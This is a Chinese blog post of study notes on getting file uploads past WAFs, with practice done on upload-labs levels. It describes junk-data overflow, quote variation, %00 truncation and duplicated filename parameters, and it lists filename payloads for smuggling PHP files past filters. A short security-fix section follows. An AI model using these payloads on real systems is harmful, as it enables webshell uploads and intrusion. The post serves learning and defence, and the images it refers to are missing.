文件上传之waf绕过和安全维护

上传参数名解析

明确那些东西能修改?
Contont-Disposition:一般可更改
name:表单参数值,不能更改
Filename:文件名,上传的文件,可以更改
Content-Type:文件MIME,视情况更改,判断滤机制里面是不是通过这个这个属性值来过滤的
见upload-labs-master pass2

常见绕过方法

数据溢出-防匹配(xxx…)

也就是垃圾数据使得WAF无法匹配
在这里插入图片描述

符号变异-防匹配(’ " ; )

匹配’'以及""里面的内容,没匹配到,所以绕过
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

x.php;.jpg

数据截断-防匹配(%00 ;/换行)

在这里插入图片描述

在这里插入图片描述在这里插入图片描述

重复数据-防匹配(参数多次)

在这里插入图片描述

fuzz

利用luzz字典绕过pass-3
在这里插入图片描述
在这里插入图片描述

payload

name="upload_file";垃圾数据 file_name="x.php"

file_name="dudu.php----由于没有"结尾,所以没找见结尾,可以上传,但是"放在前面就失效,X"x".php

"x.php;.php"   ""里面的都是上传的文件名,;表示已经截断了


filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";
filename="a.php%00.jpg"
filename="connect-disposition:from-data;
name="upload_file";x.php"
filename="x.jpg";filename="x.jpg";.....filename="x.php";

安全修复

后端进行验证,
后端验证:基于黑名单,白名单过滤
MIME基于上传自带类型检测
内容检测:文件头,完整性检测
后缀验证,参考upload-labs关卡黑名单的各种方式
getimage函数只能接受图片,只处理图片信息

安全狗,宝塔,云端

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值